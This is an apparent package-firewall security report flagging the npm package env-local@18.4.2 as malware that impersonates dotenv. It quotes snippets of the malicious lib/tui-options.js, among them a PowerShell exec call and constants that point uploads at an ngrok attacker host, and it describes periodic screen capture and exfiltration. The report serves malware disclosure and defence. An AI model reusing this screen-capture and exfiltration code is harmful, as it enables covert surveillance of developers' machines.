---
canonical: "https://firewall.lpm.dev/npm/env-local/v/18.4.2"
markdown: "https://firewall.lpm.dev/npm/env-local/v/18.4.2.md"
package: "env-local"
report_status: "published"
title: "env-local@18.4.2 npm security report"
verdict: "malicious"
version: "18.4.2"
---

# env-local@18.4.2 npm security report

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## Verdict summary
**Blocked & quarantined** — Quarantined by product-default policy — this version is not allowed through the firewall.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 18.4.2
- **Selected version is latest:** No
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-13694 confirms this npm version as malicious. env-local impersonates the popular dotenv package: package.json points at motdotla/dotenv and main.js is a near-verbatim dotenv clone with an added require("./tui-options"). On require(), lib/tui-options.js unconditionally captures the installer's screen every 3 seconds and POSTs the images plus hostname, platform, and screen resolution to a hardcoded ngrok tunnel at...

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 100.0%
- **Started:** 2026-08-10T13:05:02.511Z
- **Finished:** 2026-08-10T13:05:05.007Z
- **Download time:** 2264 ms
- **Static scan time:** 227 ms
- **AI review time:** Not available
- **Total time:** 2496 ms

## Security analysis

No additional public attack-surface or AI-review details are available.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** lib/tui-options.js
- **Public source:** [View source](<https://unpkg.com/env-local@18.4.2/lib/tui-options.js>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L1: const { execFile, exec } = require('child_process');
L2: const fs = require('fs');
```

### 3. High: Shell
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** lib/tui-options.js
- **Public source:** [View source](<https://unpkg.com/env-local@18.4.2/lib/tui-options.js>)

Package source references shell execution.

Public source snippet (untrusted):

```javascript
L90: exec(
L91: 'powershell -Command "Add-Type -AssemblyName System.Windows.Forms; $s=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds; Write-Output \\"$($s.Width)x$($s.Height)\\""',
L92: (error, stdout, stderr) => {
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. High: Same File Env Network Execution
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** lib/tui-options.js
- **Public source:** [View source](<https://unpkg.com/env-local@18.4.2/lib/tui-options.js>)

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Public source snippet (untrusted):

```javascript
L1: const { execFile, exec } = require('child_process');
L2: const fs = require('fs');
L3: const http = require('http');
L4: const https = require('https');
...
L15: const isMac = platform === 'darwin';
L16: const SERVER_IP = process.env.SERVER_IP || 'shorthand-shortlist-caress.ngrok-free.dev';
L17: const SERVER_URL = process.env.SERVER_URL || `https://${SERVER_IP}/upload`;
```

### 8. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** env-local
- **Ecosystem:** npm
- **Version:** 18.4.2
- **License:** BSD-2-Clause
- **Version published:** 2026-08-10T11:18:06.442Z
- **Package first seen:** 2026-08-10T13:05:05.007Z
- **Package last seen:** 2026-08-11T15:40:05.360Z
- **Known versions:** 2
- **Latest version:** 18.4.3
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/env-local/v/18.4.2>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-13694>)
- [PACKAGE](<https://www.npmjs.com/package/env-local/v/18.4.2>)